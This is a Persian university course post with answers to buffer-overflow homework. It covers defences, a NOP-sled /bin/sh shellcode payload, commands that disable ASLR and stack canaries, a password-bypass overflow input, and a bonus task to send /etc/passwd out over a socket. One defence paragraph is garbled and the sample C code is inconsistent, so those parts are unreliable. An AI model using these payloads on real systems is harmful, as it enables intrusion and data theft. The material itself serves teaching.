پاسخ تمرین سری دوم امنیت شبکه های کامپیوتری-دانشگاه شهید بهشتی-ترم دوم ۹۳-۹۴

 

به نام خدا

تمرینات ‌Buffer Overflow

استاد: دکتر مقصود عباسپور

کمک تدریس: جواد زندی

 

لطفا در ارسال تمرینات خود به نکات‌ مهم زیر توجه داشته باشید:

1- مهلت این سری تمرینات تا ۲۳فروردین قبل از شروع کلاس درس می‌باشد.

2- نحوه تحویل تمرینات شما به دو صورت می‌تواند باشد:

الف) تمریناتی که به صورت سوالات تحلیلی و تعریفی و مسله ای است به صورت خوانا دستی روی کاغذ بنویسید و برگه خود را تحویل اینجانب دهید. در مورد برگه‌های تمرین خود دقت داشته باشید که حتما نام و شماره دانشجویی را بالای برگه‌ی خود بنویسید.

3- همه‌ی دوستان دقت داشته باشند که تصمیم‌گیری در مورد تمرینات یکسان برعهده استاد درس خواهد بود و حل‌تمرین موظف به نوشتن گزارش تخلف و ارایه آن به استاد درس می‌باشد.

4- از آنجایی که پاسخ‌های شما بادقت صحیح‌می‌شود، ایده‌های‌خلاقانه و پاسخ‌های هوشمندانه در حل‌سوالات طبیعتا نمره‌ای فراتر از تمرین دارد.

5- در مورد تمرینات این سری تحویل‌ها با کمی جزیات همراه می‌باشد. لطفا در ارایه تمرینات خود به آنها توجه نمایید. این جزیات در خود سوال حتما قید خواهد شد.

برای مشاهده پاسخ‌ها به ادامه مطلب بروید.

سوالات مفهومي:

1- سرریز بافر چیست؟ انواع آن را نام ببرید و راه‌های دفاع دربرابر آنها را نیز قید کنید.

پاسخ: برای رخ دادن سرریز بافر وجود ۲شرط الزامی است:

1- مکان فیزیکی بافر برروی پشته باشد

2- ورودی اعمال‌شده به برنامه بیشتر از اندازه بافر باشد.

هرگاه ۲شرط فوق باهم ایفا شود می‌گوییم سرریز بافر رخ داده است.

سرریز بافر به طور کلی به دسته‌های زیر تقسیم می شود:

Simple BufferOverflow(putting executable code on stack)

Simple BufferOverflow(changing return address)

Return to libc(call c-functions)

Multiple return address sequence(return oriented programing)

برای دفاع در برابر سرریز بافردفاع‌های زیر پیشنهاد می‌شود:

استفاده از تکنولوژی canary برای جلوگیری از بازنویسی آدرس بازگشت

استفاده از تکنولوژی ASLR برای جلوگیری از حدس زدن آدرس‌ها

استفاده از گجت‌های مخصوص برای جلوگیری از حملات ROP

گاهی ﺍوقات برنامه‌ها نیاز دﺍند تا ا یک حافظه محدو برای خو به عنوا بافر استفادﻩکنند. محدویت بافر به حمله‌کنندگان کمک می‌کند تا با یک وﺭﻭد مخرب بیشتر ا ﺍنداه بافر اقدا به نوشتن‌کنند سپس نتیجه آ این است‌ که ا حدو خو خار می‌شوند و موجب می‌شو د ادﺍمه بافر تغییرا حمله‌کنندﻩ اعما شو. برا جلوگیر قو این حمله می‌توا ﺍلف(نر ﺍفزا رﺍ به طوکامل ا اﻭﻝ نوشت ﺍشکالات آ رﺍ برطرف کر ( نر ﺍفزا رﺍ رصورت ﺍمکا با بان های ﺍمن‌‌تر مانند جاوﺍ نوشت (گذﺍشتن سگ نگهبان برا چک‌کرد قو سرریز بافر کشتن یا متوقف‌کردن فرایند خاطی( فعاکرد بیت NX و( اصلاکردکتابخانه‌ها نا امن با مد امن آ ه( گارگذﺍشتن ری پوینتر دس باگشت و … ( استفادهﻩ از تکنیک ASLR

سیستم عامل به رﺍحتی با چک کرد سگمنت PC میتواند جلو تغییر سگمنت رﺍ بگیر )با صدو پیا Segmentation

2- با یک مثال بیان کنید چرا داشتن stack و heap غیرقابل اجرا (No Executable Stack & Heap) برای جلوگیری از حملات سرریز بافر کافی نیست؟

پاسخ: برای جلوگیری از حملات قرار دادن کد قابل اجرا در پشته، می‌توان پشته را غیرقابل اجرا کرد. اما دسته‌ی دیگری از حملات وجود دارد که نمی توان با غیرقابل کردن پشته آنها را از بین برد. مانند تغییر آدرس بازگشت توابع در پشته. چراکه به راحتی می توان آدرس‌های بازگشت را تغییر داد.

3-     تابع زیر را درنظر بگیرید:

main (int argc, char *argv[]) {

        char buffer [10];

        if (argc>1) {

strcpy (buffer, argv[1]);

}

}

استک پس از فراخوانی این تابع بصورت زیر درخواهد آمد:

 

فرض کنید ما از موارد زیر مطلع هستیم:

کامپایلر برای نوع char، یک بایت فضا در حافظه در نظر می گیرد.

حدس می زنیم که آدرس SP (بالای استک) در حال حاضر بین 0xbffff6c8 و 0xbffff6c0 است (توجه کنید که رشد استک در جهت کاهش آدرس های حافظه است).

مقدار فضای حافظه لازم برای ذخیره کردن sfp و return address، هر کدام چهار بایت است.

فضای استک اجرایی است.

معادل هگز یک ورودی خرابکارانه برای تابع main را بنویسید که پس از اجرا، دستور /bin/sh را اجرا نماید. (راهنمایی: در همه ی معماری ها، یک دستور No Operation یا NOP با معادل هگز 90 وجود دارد).

پاسخ:

“\x90\x90\x90\x90\x90\x90\x90\x90 ………… \x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\ x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff \xff\xff/bin/sh

 

 

سوالات برنامه‌نويسي:

نکته: از آنجایی که این بخش از تمرین کاملا عملی می‌باشد، شما می‌بایست به ۲نکته مهم توجه داشته باشید:

i. همانطور که می‌دانید در لینوکس مکانیزم ASLR برای جلوگیری از حملات سرریز وجود دارد. در همه‌ی تمرینات می‌توانید(مگر در مورد تمریناتی که صراحتا قید شده که نباید آن را غیرفعال نمایید.) این مکانیزم را غیرفعال نمایید تا بتوانید برنامه‌ها را exploit کنید. برای غیرفعال نمودن آنها میتوانید با دسترسی root فرمان زیر را در ترمینال اجرا کنید:

echo 0 > /proc/sys/kernel/randomize_va_space

نکته: دوستان توجه داشته باشید که اگر از سرور برنامه نویسی استفاده نمایید، این ویزگی از قبل برای شما تعبیه شده است.

ii. در کامپایلر gcc  به‌طور پیش‌فرض پشته‌ی برنامه‌ها توسط مکانیزم canary محافظت می‌شود. برای غیرفعال کردن این مکانیزم(چون می‌خواهیم exploit کنیم) باید شما از سوییچ زیر استفاده نمایید:

-fno-stack-protector

Example:                             gcc -fno-stack-protector main.cpp

1- این تمرین ساده‌ترین حالت نوشتن exploit سرریز بافر می‌باشد. برای این منظور به کد برنامه زیر دقت نمایید:

#include <time.h>

#include <stdlib.h>

void stringMirorring();

void runOnExploit();

int main () {

                stringMirorring ();

                return 0;

}

void FeedMeInput() {

                char buffer[8];

gets(buffer);

puts(buffer);

}

void runOnExploit () {

printf(“You have exploit me successfully!\n”);

}

I.  (بدون دستکاری کد برنامه) برای برنامه‌ی فوق ورودی طراحی نمایید که تابع runOnExploit اجرا شود.

II. پاسخ: کافی است آدرس توسط gdb مشاهده شود و طوری در پشته نوشته شود که آدرس تابع runOnExploit() دقیقا روی آدرس بازگشت قرار بگیرد.

III.  

IV. برای تابع فوق ورودی طراحی نمایید که تابع exit اجرا شود.

پاسخ: کافی است آدرس توسط gdb مشاهده شود و طوری در پشته نوشته شود که آدرس exit دقیقا روی آدرس بازگشت قرار بگیرد.

V. آیا می‌توانید ورودی طراحی نمایید که اول تابع runOnExploit اجرا شود و سپس تابع اصلی exit اجرا شود؟

پاسخ: بله امکان پذیر است.

 

 

2- حال که توانستید تمرین فوق را حل کنید، اکنون به سراغ این تمرین خواهیم آمد. در این تمرین قصد داریم تا با تغییر آدرس بازگشت از طریق پارامترهای ورودی تابعی را صدا بزنیم. شما در این تمرین به کد برنامه دسترسی نخواهید داشت. فایل برنامه‌ی قابل اجرا که برروی سرور قابل اجرا می‌باشد، را اجرا کنید. نحوه عملکرد برنامه بدین صورت است: تابع اصلی برنامه(Main) ابتدا یک تابعی را صدا میزند. این تابع از شما رمز عبور می‌گیرد و در صورت معتبر بودن رمزعبور، یک پیام را به شما نشان می‌دهد. با استفاده از gdb ابتدا برنامه را موشکافی کنید! شما در این سوال رمز عبور ندارید. پس برنامه را exploit کنید(brute force ممنوع است!) و بگویید رمزعبور چیست! برای اینکار شما باید به برنامه به نحوی وردی دهید که صرف نظر از اینکه ورودی برنامه به عنوان رمز عبور صحیح یا غلط است، پیام مورد نظر به شما نمایش داده شود. شما می‌توانید از کلیه مراحل فوق از صفحه‌ی کامپیوترتان فیلم تهیه کرده و در پوشه‌ی مخصوص خودتان در سرور آپلود نمایید.

پاسخ: بعد از اینکه با gdb برنامه موشکافی شد، به ورودی زیر خواهیم رسید:

00000000000000000000000000000000000000000000\xb7\xff\xef\e5

3-  

 

4- در این تمرین قصد داریم ابتدا یک shellcode نوشته و سپس آن را دراثر یک سرریز بافر اجرا کنیم. بنابراین تمرین به دو قسمت تقسیم می‌شود: قسمت اول)نوشتن یک shellcode قسمت دوم:اجرا کردن shellcode در اثر یک سرریز بافر. نوشتن shellcode را در کلاس درس آموخته‌اید. بنابراین شما باید shellcode ای بنویسید که برنامه با کدخطای ۱۲ بسته شود.

پاسخ: در کلاس حل خواهد شد.

 

5- (امتیازی) برای یک برنامه‌ی ساده مانند آنچه در سوال ۱ دیدید (برنامه را خودتان بنویسید) با استفاده از تکنیک اجرا کردن shellcode ها یک سوکت شبکه از داخل هاست به بیرون بزنید و فایل passwd را از مسیر /etc/passwd بر روی شبکه به یک آی پی مشخص ارسال نمایید.

   

Trackback from your site.

Leave a comment